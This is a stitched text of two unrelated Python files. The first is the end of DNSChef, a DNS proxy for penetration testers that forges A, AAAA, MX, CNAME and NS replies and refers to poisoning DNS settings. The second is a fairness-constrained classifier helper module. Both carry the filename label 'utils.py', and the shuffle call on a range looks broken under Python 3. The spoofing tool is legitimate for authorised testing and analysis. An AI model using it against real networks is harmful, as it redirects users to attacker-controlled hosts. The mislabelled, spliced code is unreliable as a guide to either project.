TCPHandler(DNSHandler, socketserver.BaseRequestHandler): def handle(self): data = self.request.recv(1024) # Remove the addition "length" parameter used in the # TCP DNS protocol data = data[2:] response = self.parse(data) if response: # Calculate and add the additional "length" parameter # used in TCP DNS protocol length = binascii.unhexlify("%04x" % len(response)) self.request.sendall(length + response) class ThreadedUDPServer(socketserver.ThreadingMixIn, socketserver.UDPServer): # Override SocketServer.UDPServer to add extra parameters def __init__(self, server_address, RequestHandlerClass, nametodns, nameservers, ipv6, log): self.nametodns = nametodns self.nameservers = nameservers self.ipv6 = ipv6 self.address_family = socket.AF_INET6 if self.ipv6 else socket.AF_INET self.log = log socketserver.UDPServer.__init__(self, server_address, RequestHandlerClass) class ThreadedTCPServer(socketserver.ThreadingMixIn, socketserver.TCPServer): # Override default value allow_reuse_address = True # Override SocketServer.TCPServer to add extra parameters def __init__(self, server_address, RequestHandlerClass, nametodns, nameservers, ipv6, log): self.nametodns = nametodns self.nameservers = nameservers self.ipv6 = ipv6 self.address_family = socket.AF_INET6 if self.ipv6 else socket.AF_INET self.log = log socketserver.TCPServer.__init__(self, server_address, RequestHandlerClass) # Initialize and start the DNS Server def start_cooking(interface, nametodns, nameservers, tcp=False, ipv6=False, port="53", logfile=None): try: if logfile: fh = logging.FileHandler(logfile, encoding='UTF-8') fh.setLevel(logging.INFO) fh.setFormatter(DNSChefFormatter(datefmt="%d/%b/%Y:%H:%M:%S %z")) log.addHandler(fh) log.info("DNSChef is active.") if tcp: log.info("DNSChef is running in TCP mode") server = ThreadedTCPServer((interface, int(port)), TCPHandler, nametodns, nameservers, ipv6, log) else: server = ThreadedUDPServer((interface, int(port)), UDPHandler, nametodns, nameservers, ipv6, log) # Start a thread with the server -- that thread will then start # more threads for each request server_thread = threading.Thread(target=server.serve_forever) # Exit the server thread when the main thread terminates server_thread.daemon = True server_thread.start() # Loop in the main thread while True: time.sleep(100) except (KeyboardInterrupt, SystemExit): server.shutdown() log.info("DNSChef is shutting down.") sys.exit() except Exception as e: log.error(f"Failed to start the server: {e}") if __name__ == "__main__": header = " _ _ __ \n" header += " | | version %s | | / _| \n" % DNSCHEF_VERSION header += " __| |_ __ ___ ___| |__ ___| |_ \n" header += " / _` | '_ \/ __|/ __| '_ \ / _ \ _|\n" header += " | (_| | | | \__ \ (__| | | | __/ | \n" header += " \__,_|_| |_|___/\___|_| |_|\___|_| \n" header += " iphelix@thesprawl.org \n" # Parse command line arguments parser = ArgumentParser(usage = "dnschef.py [options]:\n" + header, description="DNSChef is a highly configurable DNS Proxy for Penetration Testers and Malware Analysts. It is capable of fine configuration of which DNS replies to modify or to simply proxy with real responses. In order to take advantage of the tool you must either manually configure or poison DNS server entry to point to DNSChef. The tool requires root privileges to run on privileged ports." ) fakegroup = parser.add_argument_group("Fake DNS records:") fakegroup.add_argument('--fakeip', metavar="192.0.2.1", help='IP address to use for matching DNS queries. If you use this parameter without specifying domain names, then all \'A\' queries will be spoofed. Consider using --file argument if you need to define more than one IP address.') fakegroup.add_argument('--fakeipv6', metavar="2001:db8::1", help='IPv6 address to use for matching DNS queries. If you use this parameter without specifying domain names, then all \'AAAA\' queries will be spoofed. Consider using --file argument if you need to define more than one IPv6 address.') fakegroup.add_argument('--fakemail', metavar="mail.fake.com", help='MX name to use for matching DNS queries. If you use this parameter without specifying domain names, then all \'MX\' queries will be spoofed. Consider using --file argument if you need to define more than one MX record.') fakegroup.add_argument('--fakealias', metavar="www.fake.com", help='CNAME name to use for matching DNS queries. If you use this parameter without specifying domain names, then all \'CNAME\' queries will be spoofed. Consider using --file argument if you need to define more than one CNAME record.') fakegroup.add_argument('--fakens', metavar="ns.fake.com", help='NS name to use for matching DNS queries. If you use this parameter without specifying domain names, then all \'NS\' queries will be spoofed. Consider using --file argument if you need to define more than one NS record.') fakegroup.add_argument('--file', help="Specify a file containing a list of DOMAIN=IP pairs (one pair per line) used for DNS responses. For example: google.com=1.1.1.1 will force all queries to 'google.com' to be resolved to '1.1.1.1'. IPv6 addresses will be automatically detected. You can be even more specific by combining --file with other arguments. However, data obtained from the file will take precedence over others.") mexclusivegroup = parser.add_mutually_exclusive_group() mexclusivegroup.add_argument('--fakedomains', metavar="thesprawl.org,google.com", help='A comma separated list of domain names which will be resolved to FAKE values specified in the the above parameters. All other domain names will be resolved to their true values.') mexclusivegroup.add_argument('--truedomains', metavar="thesprawl.org,google.com", help='A comma separated list of domain names which will be resolved to their TRUE values. All other domain names will be resolved to fake values specified in the above parameters.') rungroup = parser.add_argument_group("Optional runtime parameters.") rungroup.add_argument("--logfile", metavar="FILE", help="Specify a log file to record all activity") rungroup.add_argument("--nameservers", metavar="8.8.8.8#53 or 4.2.2.1#53#tcp or 2001:4860:4860::8888", default='8.8.8.8', help='A comma separated list of alternative DNS servers to use with proxied requests. Nameservers can have either IP or IP#PORT format. A randomly selected server from the list will be used for proxy requests when provided with multiple servers. By default, the tool uses Google\'s public DNS server 8.8.8.8 when running in IPv4 mode and 2001:4860:4860::8888 when running in IPv6 mode.') rungroup.add_argument("-i","--interface", metavar="127.0.0.1 or ::1", default="127.0.0.1", help='Define an interface to use for the DNS listener. By default, the tool uses 127.0.0.1 for IPv4 mode and ::1 for IPv6 mode.') rungroup.add_argument("-t","--tcp", action="store_true", default=False, help="Use TCP DNS proxy instead of the default UDP.") rungroup.add_argument("-6","--ipv6", action="store_true", default=False, help="Run in IPv6 mode.") rungroup.add_argument("-p","--port", metavar="53", default="53", help='Port number to listen for DNS requests.') rungroup.add_argument("-q", "--quiet", action="store_false", dest="verbose", default=True, help="Don't show headers.") options = parser.parse_args() # Print program header if options.verbose: print(header) # Main storage of domain filters # NOTE: RDMAP is a dictionary map of qtype strings to handling classes nametodns = dict() for qtype in list(RDMAP.keys()): nametodns[qtype] = dict() if not (options.fakeip or options.fakeipv6) and (options.fakedomains or options.truedomains): log.error("You have forgotten to specify which IP to use for fake responses") sys.exit(0) # Notify user about alternative listening port if options.port != "53": log.info(f"Listening on an alternative port {options.port}") # Adjust defaults for IPv6 if options.ipv6: log.info("Using IPv6 mode.") if options.interface == "127.0.0.1": options.interface = "::1" if options.nameservers == "8.8.8.8": options.nameservers = "2001:4860:4860::8888" log.info(f"DNSChef started on interface: {options.interface}") # Use alternative DNS servers if options.nameservers: nameservers = options.nameservers.split(',') log.info(f"Using the following nameservers: {', '.join(nameservers)}") # External file definitions if options.file: config = ConfigParser() config.read(options.file) for section in config.sections(): if section in nametodns: for domain, record in config.items(section): # Make domain case insensitive domain = domain.lower() nametodns[section][domain] = record log.info(f"Cooking {section} replies for domain {domain} with '{record}'") else: log.warning(f"DNS Record '{section}' is not supported. Ignoring section contents.") # DNS Record and Domain Name definitions # NOTE: '*.*.*.*.*.*.*.*.*.*' domain is used to match all possible queries. if options.fakeip or options.fakeipv6 or options.fakemail or options.fakealias or options.fakens: fakeip = options.fakeip fakeipv6 = options.fakeipv6 fakemail = options.fakemail fakealias = options.fakealias fakens = options.fakens if options.fakedomains: for domain in options.fakedomains.split(','): # Make domain case insensitive domain = domain.lower() domain = domain.strip() if fakeip: nametodns["A"][domain] = fakeip log.info(f"Cooking A replies to point to {options.fakeip} matching: {domain}") if fakeipv6: nametodns["AAAA"][domain] = fakeipv6 log.info(f"Cooking AAAA replies to point to {options.fakeipv6} matching: {domain}") if fakemail: nametodns["MX"][domain] = fakemail log.info(f"Cooking MX replies to point to {options.fakemail} matching: {domain}") if fakealias: nametodns["CNAME"][domain] = fakealias log.info(f"Cooking CNAME replies to point to {options.fakealias} matching: {domain}") if fakens: nametodns["NS"][domain] = fakens log.info(f"Cooking NS replies to point to {options.fakens} matching: {domain}") elif options.truedomains: for domain in options.truedomains.split(','): # Make domain case insensitive domain = domain.lower() domain = domain.strip() if fakeip: nametodns["A"][domain] = False log.info(f"Cooking A replies to point to {options.fakeip} not matching: {domain}") nametodns["A"]['*.*.*.*.*.*.*.*.*.*'] = fakeip if fakeipv6: nametodns["AAAA"][domain] = False log.info(f"Cooking AAAA replies to point to {options.fakeipv6} not matching: {domain}") nametodns["AAAA"]['*.*.*.*.*.*.*.*.*.*'] = fakeipv6 if fakemail: nametodns["MX"][domain] = False log.info(f"Cooking MX replies to point to {options.fakemail} not matching: {domain}") nametodns["MX"]['*.*.*.*.*.*.*.*.*.*'] = fakemail if fakealias: nametodns["CNAME"][domain] = False log.info(f"Cooking CNAME replies to point to {options.fakealias} not matching: {domain}") nametodns["CNAME"]['*.*.*.*.*.*.*.*.*.*'] = fakealias if fakens: nametodns["NS"][domain] = False log.info(f"Cooking NS replies to point to {options.fakens} not matching: {domain}") nametodns["NS"]['*.*.*.*.*.*.*.*.*.*'] = fakealias else: # NOTE: '*.*.*.*.*.*.*.*.*.*' domain is a special ANY domain # which is compatible with the wildflag algorithm above. if fakeip: nametodns["A"]['*.*.*.*.*.*.*.*.*.*'] = fakeip log.info(f"Cooking all A replies to point to {fakeip}") if fakeipv6: nametodns["AAAA"]['*.*.*.*.*.*.*.*.*.*'] = fakeipv6 log.info(f"Cooking all AAAA replies to point to {fakeipv6}") if fakemail: nametodns["MX"]['*.*.*.*.*.*.*.*.*.*'] = fakemail log.info(f"Cooking all MX replies to point to {fakemail}") if fakealias: nametodns["CNAME"]['*.*.*.*.*.*.*.*.*.*'] = fakealias log.info(f"Cooking all CNAME replies to point to {fakealias}") if fakens: nametodns["NS"]['*.*.*.*.*.*.*.*.*.*'] = fakens log.info(f"Cooking all NS replies to point to {fakens}") # Proxy all DNS requests if not options.fakeip and not options.fakeipv6 and not options.fakemail and not options.fakealias and not options.fakens and not options.file: log.info("No parameters were specified. Running in full proxy mode") # Launch DNSChef start_cooking(interface=options.interface, nametodns=nametodns, nameservers=nameservers, tcp=options.tcp, ipv6=options.ipv6, port=options.port, logfile=options.logfile)
utils.py
import numpy as np from random import seed, shuffle import loss_funcs as lf # our implementation of loss funcs from scipy.optimize import minimize # for loss func minimization from multiprocessing import Pool, Process, Queue from collections import defaultdict from copy import deepcopy import sys SEED = 1122334455 seed(SEED) # set the random seed so that the random permutations can be reproduced again np.random.seed(SEED) def train_model(x, y, x_control, loss_function, apply_fairness_constraints, apply_accuracy_constraint, sep_constraint, sensitive_attrs, sensitive_attrs_to_cov_thresh, gamma=None): """ Function that trains the model subject to various fairness constraints. If no constraints are given, then simply trains an unaltered classifier. Example usage in: "synthetic_data_demo/decision_boundary_demo.py" ---- Inputs: X: (n) x (d+1) numpy array -- n = number of examples, d = number of features, one feature is the intercept y: 1-d numpy array (n entries) x_control: dictionary of the type {"s": [...]}, key "s" is the sensitive feature name, and the value is a 1-d list with n elements holding the sensitive feature values loss_function: the loss function that we want to optimize -- for now we have implementation of logistic loss, but other functions like hinge loss can also be added apply_fairness_constraints: optimize accuracy subject to fairness constraint (0/1 values) apply_accuracy_constraint: optimize fairness subject to accuracy constraint (0/1 values) sep_constraint: apply the fine grained accuracy constraint for details, see Section 3.3 of arxiv.org/abs/1507.05259v3 For examples on how to apply these constraints, see "synthetic_data_demo/decision_boundary_demo.py" Note: both apply_fairness_constraints and apply_accuracy_constraint cannot be 1 at the same time sensitive_attrs: ["s1", "s2", ...], list of sensitive features for which to apply fairness constraint, all of these sensitive features should have a corresponding array in x_control sensitive_attrs_to_cov_thresh: the covariance threshold that the classifier should achieve (this is only needed when apply_fairness_constraints=1, not needed for the other two constraints) gamma: controls the loss in accuracy we are willing to incur when using apply_accuracy_constraint and sep_constraint ---- Outputs: w: the learned weight vector for the classifier """ assert((apply_accuracy_constraint == 1 and apply_fairness_constraints == 1) == False) # both constraints cannot be applied at the same time max_iter = 100000 # maximum number of iterations for the minimization algorithm if apply_fairness_constraints == 0: constraints = [] else: constraints = get_constraint_list_cov(x, y, x_control, sensitive_attrs, sensitive_attrs_to_cov_thresh) if apply_accuracy_constraint == 0: #its not the reverse problem, just train w with cross cov constraints f_args=(x, y) w = minimize(fun = loss_function, x0 = np.random.rand(x.shape[1],), args = f_args, method = 'SLSQP', options = {"maxiter":max_iter}, constraints = constraints ) else: # train on just the loss function w = minimize(fun = loss_function, x0 = np.random.rand(x.shape[1],), args = (x, y), method = 'SLSQP', options = {"maxiter":max_iter}, constraints = [] ) old_w = deepcopy(w.x) def constraint_gamma_all(w, x, y, initial_loss_arr): gamma_arr = np.ones_like(y) * gamma # set gamma for everyone new_loss = loss_function(w, x, y) old_loss = sum(initial_loss_arr) return ((1.0 + gamma) * old_loss) - new_loss def constraint_protected_people(w,x,y): # dont confuse the protected here with the sensitive feature protected/non-protected values -- protected here means that these points should not be misclassified to negative class return np.dot(w, x.T) # if this is positive, the constraint is satisfied def constraint_unprotected_people(w,ind,old_loss,x,y): new_loss = loss_function(w, np.array([x]), np.array(y)) return ((1.0 + gamma) * old_loss) - new_loss constraints = [] predicted_labels = np.sign(np.dot(w.x, x.T)) unconstrained_loss_arr = loss_function(w.x, x, y, return_arr=True) if sep_constraint == True: # separate gemma for different people for i in range(0, len(predicted_labels)): if predicted_labels[i] == 1.0 and x_control[sensitive_attrs[0]][i] == 1.0: # for now we are assuming just one sensitive attr for reverse constraint, later, extend the code to take into account multiple sensitive attrs c = ({'type': 'ineq', 'fun': constraint_protected_people, 'args':(x[i], y[i])}) # this constraint makes sure that these people stay in the positive class even in the modified classifier constraints.append(c) else: c = ({'type': 'ineq', 'fun': constraint_unprotected_people, 'args':(i, unconstrained_loss_arr[i], x[i], y[i])}) constraints.append(c) else: # same gamma for everyone c = ({'type': 'ineq', 'fun': constraint_gamma_all, 'args':(x,y,unconstrained_loss_arr)}) constraints.append(c) def cross_cov_abs_optm_func(weight_vec, x_in, x_control_in_arr): cross_cov = (x_control_in_arr - np.mean(x_control_in_arr)) * np.dot(weight_vec, x_in.T) return float(abs(sum(cross_cov))) / float(x_in.shape[0]) w = minimize(fun = cross_cov_abs_optm_func, x0 = old_w, args = (x, x_control[sensitive_attrs[0]]), method = 'SLSQP', options = {"maxiter":100000}, constraints = constraints ) try: assert(w.success == True) except: print("Optimization problem did not converge.. Check the solution returned by the optimizer.") print("Returned solution is:") print(w) raise return w.x def compute_cross_validation_error(x_all, y_all, x_control_all, num_folds, loss_function, apply_fairness_constraints, apply_accuracy_constraint, sep_constraint, sensitive_attrs, sensitive_attrs_to_cov_thresh_arr, gamma=None): """ Computes the cross validation error for the classifier subject to various fairness constraints This function is just a wrapper of "train_model(...)", all inputs (except for num_folds) are the same. See the specifications of train_model(...) for more info. Returns lists of train/test accuracy (with each list holding values for all folds), the fractions of various sensitive groups in positive class (for train and test sets), and covariance between sensitive feature and distance from decision boundary (again, for both train and test folds). """ train_folds = [] test_folds = [] n_samples = len(y_all) train_fold_size = 0.7 # the rest of 0.3 is for testing # split the data into folds for cross-validation for i in range(0,num_folds): perm = range(0,n_samples) # shuffle the data before creating each fold shuffle(perm) x_all_perm = x_all[perm] y_all_perm = y_all[perm] x_control_all_perm = {} for k in x_control_all.keys(): x_control_all_perm[k] = np.array(x_control_all[k])[perm] x_all_train, y_all_train, x_control_all_train, x_all_test, y_all_test, x_control_all_test = split_into_train_test(x_all_perm, y_all_perm, x_control_all_perm, train_fold_size) train_folds.append([x_all_train, y_all_train, x_control_all_train]) test_folds.append([x_all_test, y_all_test, x_control_all_test]) def train_test_single_fold(train_data, test_data, fold_num, output_folds, sensitive_attrs_to_cov_thresh): x_train, y_train, x_control_train = train_data x_test, y_test, x_control_test = test_data w = train_model(x_train, y_train, x_control_train, loss_function, apply_fairness_constraints, apply_accuracy_constraint, sep_constraint, sensitive_attrs, sensitive_attrs_to_cov_thresh, gamma) train_score, test_score, correct_answers_train, correct_answers_test = check_accuracy(w, x_train, y_train, x_test, y_test, None, None) distances_boundary_test = (np.dot(x_test, w)).tolist() all_class_labels_assigned_test = np.sign(distances_boundary_test) correlation_dict_test = get_correlations(None, None, all_class_labels_assigned_test, x_control_test, sensitive_attrs) cov_dict_test = print_covariance_sensitive_attrs(None, x_test, distances_boundary_test, x_control_test, sensitive_attrs) distances_boundary_train = (np.dot(x_train, w)).tolist() all_class_labels_assigned_train = np.sign(distances_boundary_train) correlation_dict_train = get_correlations(None, None, all_class_labels_assigned_train, x_control_train, sensitive_attrs) cov_dict_train = print_covariance_sensitive_attrs(None, x_train, distances_boundary_train, x_control_train, sensitive_attrs) output_folds.put([fold_num, test_score, train_score, correlation_dict_test, correlation_dict_train, cov_dict_test, cov_dict_train]) return output_folds = Queue() processes = [Process(target=train_test_single_fold, args=(train_folds[x], test_folds[x], x, output_folds, sensitive_attrs_to_cov_thresh_arr[x])) for x in range(num_folds)] # Run processes for p in processes: p.start() # Get the reuslts results = [output_folds.get() for p in processes] for p in processes: p.join() test_acc_arr = [] train_acc_arr = [] correlation_dict_test_arr = [] correlation_dict_train_arr = [] cov_dict_test_arr = [] cov_dict_train_arr = [] results = sorted(results, key = lambda x : x[0]) # sort w.r.t fold num for res in results: fold_num, test_score, train_score, correlation_dict_test, correlation_dict_train, cov_dict_test, cov_dict_train = res test_acc_arr.append(test_score) train_acc_arr.append(train_score) correlation_dict_test_arr.append(correlation_dict_test) correlation_dict_train_arr.append(correlation_dict_train) cov_dict_test_arr.append(cov_dict_test) cov_dict_train_arr.append(cov_dict_train) return test_acc_arr, train_acc_arr, correlation_dict_test_arr, correlation_dict_train_arr, cov_dict_test_arr, cov_dict_train_arr def print_classifier_fairness_stats(acc_arr, correlation_dict_arr, cov_dict_arr, s_attr_name): correlation_dict = get_avg_correlation_dict(correlation_dict_arr) non_prot_pos = correlation_dict[s_attr_name][1][1] prot_pos = correlation_dict[s_attr_name][0][1] p_rule = (prot_pos / non_prot_pos) * 100.0 print("Accuracy: %0.2f" % (np.mean(acc_arr))) print("Protected/non-protected in +ve class: %0.0f%% / %0.0f%%" % (prot_pos, non_prot_pos)) print("P-rule achieved: %0.0f%%" % (p_rule)) print("Covariance between sensitive feature and decision from distance boundary : %0.3f" % (np.mean([v[s_attr_name] for v in cov_dict_arr]))) print() return p_rule def compute_p_rule(x_control, class_labels): """ Compute the p-rule based on Doctrine of disparate impact """ non_prot_all = sum(x_control == 1.0) # non-protected group prot_all = sum(x_control == 0.0) # protected group non_prot_pos = sum(class_labels[x_control == 1.0] == 1.0) # non_protected in positive class prot_pos = sum(class_labels[x_control == 0.0] == 1.0) # protected in positive class frac_non_prot_pos = float(non_prot_pos) / float(non_prot_all) frac_prot_pos = float(prot_pos) / float(prot_all) p_rule = (frac_prot_pos / frac_non_prot_pos) * 100.0 print() print("Total data points: %d" % (len(x_control))) print("# non-protected examples: %d" % (non_prot_all)) print("# protected examples: %d" % (prot_all)) print("Non-protected in positive class: %d (%0.0f%%)" % (non_prot_pos, non_prot_pos * 100.0 / non_prot_all)) print("Protected in positive class: %d (%0.0f%%)" % (prot_pos, prot_pos * 100.0 / prot_all)) print("P-rule is: %0.0f%%" % ( p_rule )) return p_rule def add_intercept(x): """ Add intercept to the data before linear classification """ m,n = x.shape intercept = np.ones(m).reshape(m, 1) # the constant b return np.concatenate((intercept, x), axis = 1) def check_binary(arr): "give an array of values, see if the values are only 0 and 1" s = sorted(set(arr)) if s[0] == 0 and s[1] == 1: return True else: return False def get_one_hot_encoding(in_arr): """ input: 1-D arr with int vals -- if not int vals, will raise an error output: m (ndarray): one-hot encoded matrix d (dict): also returns a dictionary original_val -> column in encoded matrix """ for k in in_arr: if str(type(k)) != "<class 'numpy.float64'>" and type(k) != int and type(k) != np.int64: print(str(type(k))) print("************* ERROR: Input arr does not have integer types") return None in_arr = np.array(in_arr, dtype=int) assert(len(in_arr.shape)==1) # no column, means it was a 1-D arr attr_vals_uniq_sorted = sorted(list(set(in_arr))) num_uniq_vals = len(attr_vals_uniq_sorted) if (num_uniq_vals == 2) and (attr_vals_uniq_sorted[0] == 0 and attr_vals_uniq_sorted[1] == 1): return in_arr, None index_dict = {} # value to the column number for i in range(0,len(attr_vals_uniq_sorted)): val = attr_vals_uniq_sorted[i] index_dict[val] = i out_arr = [] for i in range(0,len(in_arr)): tup = np.zeros(num_uniq_vals) val = in_arr[i] ind = index_dict[val] tup[ind] = 1 # set that value of tuple to 1 out_arr.append(tup) return np.array(out_arr), index_dict def check_accuracy(model, x_train, y_train, x_test, y_test, y_train_predicted, y_test_predicted): """ returns the train/test accuracy of the model we either pass the model (w) else we pass y_predicted """ if model is not None and y_test_predicted is not None: print("Either the model (w) or the predicted labels should be None") raise Exception("Either the model (w) or the predicted labels should be None") if model is not None: y_test_predicted = np.sign(np.dot(x_test, model)) y_train_predicted = np.sign(np.dot(x_train, model)) def get_accuracy(y, Y_predicted): correct_answers = (Y_predicted == y).astype(int) # will have 1 when the prediction and the actual label match accuracy = float(sum(correct_answers)) / float(len(correct_answers)) return accuracy, sum(correct_answers) train_score, correct_answers_train = get_accuracy(y_train, y_train_predicted) test_score, correct_answers_test = get_accuracy(y_test, y_test_predicted) return train_score, test_score, correct_answers_train, correct_answers_test def test_sensitive_attr_constraint_cov(model, x_arr, y_arr_dist_boundary, x_control, thresh, verbose): """ The covariance is computed b/w the sensitive attr val and the distance from the boundary If the model is None, we assume that the y_arr_dist_boundary contains the distace from the decision boundary If the model is not None, we just compute a dot product or model and x_arr for the case of SVM, we pass the distace from bounday becase the intercept in internalized for the class and we have compute the distance using the project function this function will return -1 if the constraint specified by thresh parameter is not satifsified otherwise it will reutrn +1 if the return value is >=0, then the constraint is satisfied """ assert(x_arr.shape[0] == x_control.shape[0]) if len(x_control.shape) > 1: # make sure we just have one column in the array assert(x_control.shape[1] == 1) arr = [] if model is None: arr = y_arr_dist_boundary # simply the output labels else: arr = np.dot(model, x_arr.T) # the product with the weight vector -- the sign of this is the output label arr = np.array(arr, dtype=np.float64) cov = np.dot(x_control - np.mean(x_control), arr ) / float(len(x_control)) ans = thresh - abs(cov) # will be <0 if the covariance is greater than thresh -- that is, the condition is not satisfied # ans = thresh - cov # will be <0 if the covariance is greater than thresh -- that is, the condition is not satisfied if verbose is True: print("Covariance is", cov) print("Diff is:", ans) print() return ans def print_covariance_sensitive_attrs(model, x_arr, y_arr_dist_boundary, x_control, sensitive_attrs): """ reutrns the covariance between sensitive features and distance from decision boundary """ arr = [] if model is None: arr = y_arr_dist_boundary # simplt the output labels else: arr = np.dot(model, x_arr.T) # the product with the weight vector -- the sign of this is the output label sensitive_attrs_to_cov_original = {} for attr in sensitive_attrs: attr_arr = x_control[attr] bin_attr = check_binary(attr_arr) # check if the attribute is binary (0/1), or has more than 2 vals if bin_attr == False: # if its a non-binary sensitive feature, then perform one-hot-encoding attr_arr_transformed, index_dict = get_one_hot_encoding(attr_arr) thresh = 0 if bin_attr: cov = thresh - test_sensitive_attr_constraint_cov(None, x_arr, arr, np.array(attr_arr), thresh, False) sensitive_attrs_to_cov_original[attr] = cov else: # sensitive feature has more than 2 categorical values cov_arr = [] sensitive_attrs_to_cov_original[attr] = {} for attr_val, ind in index_dict.items(): t = attr_arr_transformed[:,ind] cov = thresh - test_sensitive_attr_constraint_cov(None, x_arr, arr, t, thresh, False) sensitive_attrs_to_cov_original[attr][attr_val] = cov cov_arr.append(abs(cov)) cov = max(cov_arr) return sensitive_attrs_to_cov_original def get_correlations(model, x_test, y_predicted, x_control_test, sensitive_attrs): """ returns the fraction in positive class for sensitive feature values """ if model is not None: y_predicted = np.sign(np.dot(x_test, model)) y_predicted = np.array(y_predicted) out_dict = {} for attr in sensitive_attrs: attr_val = [] for v in x_control_test[attr]: attr_val.append(v) assert(len(attr_val) == len(y_predicted)) total_per_val = defaultdict(int) attr_to_class_labels_dict = defaultdict(lambda: defaultdict(int)) for i in range(0, len(y_predicted)): val = attr_val[i] label = y_predicted[i] # val = attr_val_int_mapping_dict_reversed[val] # change values from intgers to actual names total_per_val[val] += 1 attr_to_class_labels_dict[val][label] += 1 class_labels = set(y_predicted.tolist()) local_dict_1 = {} for k1,v1 in attr_to_class_labels_dict.items(): total_this_val = total_per_val[k1] local_dict_2 = {} for k2 in class_labels: # the order should be the same for printing v2 = v1[k2] f = float(v2) * 100.0 / float(total_this_val) local_dict_2[k2] = f local_dict_1[k1] = local_dict_2 out_dict[attr] = local_dict_1 return out_dict def get_constraint_list_cov(x_train, y_train, x_control_train, sensitive_attrs, sensitive_attrs_to_cov_thresh): """ get the list of constraints to be fed to the minimizer """ constraints = [] for attr in sensitive_attrs: attr_arr = x_control_train[attr] attr_arr_transformed, index_dict = get_one_hot_encoding(attr_arr) if index_dict is None: # binary attribute thresh = sensitive_attrs_to_cov_thresh[attr] c = ({'type': 'ineq', 'fun': test_sensitive_attr_constraint_cov, 'args':(x_train, y_train, attr_arr_transformed,thresh, False)}) constraints.append(c) else: # otherwise, its a categorical attribute, so we need to set the cov thresh for each value separately for attr_val, ind in index_dict.items(): attr_name = attr_val thresh = sensitive_attrs_to_cov_thresh[attr][attr_name] t = attr_arr_transformed[:,ind] c = ({'type': 'ineq', 'fun': test_sensitive_attr_constraint_cov, 'args':(x_train, y_train, t ,thresh, False)}) constraints.append(c) return constraints def split_into_train_test(x_all, y_all, x_control_all, train_fold_size): split_point = int(round(float(x_all.shape[0]) * train_fold_size)) x_all_train = x_all[:split_point] x_all_test = x_all[split_point:] y_all_train = y_all[:split_point] y_all_test = y_all[split_point:] x_control_all_train = {} x_control_all_test = {} for k in x_control_all.keys(): x_control_all_train[k] = x_control_all[k][:split_point] x_control_all_test[k] = x_control_all[k][split_point:] return x_all_train, y_all_train, x_control_all_train, x_all_test, y_all_test, x_control_all_test def get_avg_correlation_dict(correlation_dict_arr): # make the structure for the correlation dict correlation_dict_avg = {} # print correlation_dict_arr for k,v in correlation_dict_arr[0].items(): correlation_dict_avg[k] = {} for feature_val, feature_dict in v.items(): correlation_dict_avg[k][feature_val] = {} for class_label, frac_class in feature_dict.items(): correlation_dict_avg[k][feature_val][class_label] = [] # populate the correlation dict for correlation_dict in correlation_dict_arr: for k,v in correlation_dict.items(): for feature_val, feature_dict in v.items(): for class_label, frac_class in feature_dict.items(): correlation_dict_avg[k][feature_val][class_label].append(frac_class) # now take the averages for k,v in correlation_dict_avg.items(): for feature_val, feature_dict in v.items(): for class_label, frac_class_arr in feature_dict.items(): correlation_dict_avg[k][feature_val][class_label] = np.mean(frac_class_arr) return correlation_dict_avg def plot_cov_thresh_vs_acc_pos_ratio(x_all, y_all, x_control_all, num_folds, loss_function, apply_fairness_constraints, apply_accuracy_constraint, sep_constraint, sensitive_attrs): # only import internally to avoid dependency where it's not strictly needed import matplotlib.pyplot as plt # for plotting stuff # very the covariance threshold using a range of decreasing multiplicative factors and see the tradeoffs between accuracy and fairness it = 0.05 cov_range = np.arange(1.0, 0.0-it, -it).tolist() if apply_accuracy_constraint == True: if sep_constraint == False: it = 0.1 cov_range = np.arange(0.0, 1.0 + it, it).tolist() if sep_constraint == True: cov_range = [0,1,5,10,20,50,100,500,1000] positive_class_label = 1 # positive class is +1 train_acc = [] test_acc = [] positive_per_category = defaultdict(list) # for each category (male / female), the frac of positive # first get the original values of covariance in the unconstrained classifier -- these original values are not needed for reverse constraint test_acc_arr, train_acc_arr, correlation_dict_test_arr, correlation_dict_train_arr, cov_dict_test_arr, cov_dict_train_arr = compute_cross_validation_error(x_all, y_all, x_control_all, num_folds, loss_function, 0, apply_accuracy_constraint, sep_constraint, sensitive_attrs, [{} for i in range(0,num_folds)], 0) for c in cov_range: print("LOG: testing for multiplicative factor: %0.2f" % c) sensitive_attrs_to_cov_original_arr_multiplied = [] for sensitive_attrs_to_cov_original in cov_dict_train_arr: sensitive_attrs_to_cov_thresh = deepcopy(sensitive_attrs_to_cov_original) for k in sensitive_attrs_to_cov_thresh.keys(): v = sensitive_attrs_to_cov_thresh[k] if type(v) == type({}): for k1 in v.keys(): v[k1] = v[k1] * c else: sensitive_attrs_to_cov_thresh[k] = v * c sensitive_attrs_to_cov_original_arr_multiplied.append(sensitive_attrs_to_cov_thresh) test_acc_arr, train_acc_arr, correlation_dict_test_arr, correlation_dict_train_arr, cov_dict_test_arr, cov_dict_train_arr = compute_cross_validation_error(x_all, y_all, x_control_all, num_folds, loss_function, apply_fairness_constraints, apply_accuracy_constraint, sep_constraint, sensitive_attrs, sensitive_attrs_to_cov_original_arr_multiplied, c) test_acc.append(np.mean(test_acc_arr)) correlation_dict_train = get_avg_correlation_dict(correlation_dict_train_arr) correlation_dict_test = get_avg_correlation_dict(correlation_dict_test_arr) # just plot the correlations for the first sensitive attr, the plotting can be extended for the other values, but as a proof of concept, we will jsut show for one s = sensitive_attrs[0] for k,v in correlation_dict_test[s].items(): if v.get(positive_class_label) is None: positive_per_category[k].append(0.0) else: positive_per_category[k].append(v[positive_class_label]) positive_per_category = dict(positive_per_category) p_rule_arr = (np.array(positive_per_category[0]) / np.array(positive_per_category[1])) * 100.0 ax = plt.subplot(2,1,1) plt.plot(cov_range, positive_per_category[0], "-o" , color="green", label = "Protected") plt.plot(cov_range, positive_per_category[1], "-o", color="blue", label = "Non-protected") ax.set_xlim([min(cov_range), max(cov_range)]) plt.xlabel('Multiplicative loss factor') plt.ylabel('Perc. in positive class') if apply_accuracy_constraint == False: plt.gca().invert_xaxis() plt.xlabel('Multiplicative covariance factor (c)') ax.legend() ax = plt.subplot(2,1,2) plt.scatter(p_rule_arr, test_acc, color="red") ax.set_xlim([min(p_rule_arr), max(max(p_rule_arr), 100)]) plt.xlabel('P% rule') plt.ylabel('Accuracy') plt.subplots_adjust(left=None, bottom=None, right=None, top=None, wspace=None, hspace=0.5) plt.show() def get_line_coordinates(w, x1, x2): y1 = (-w[0] - (w[1] * x1)) / w[2] y2 = (-w[0] - (w[1] * x2)) / w[2] return y1,y2
utils.py
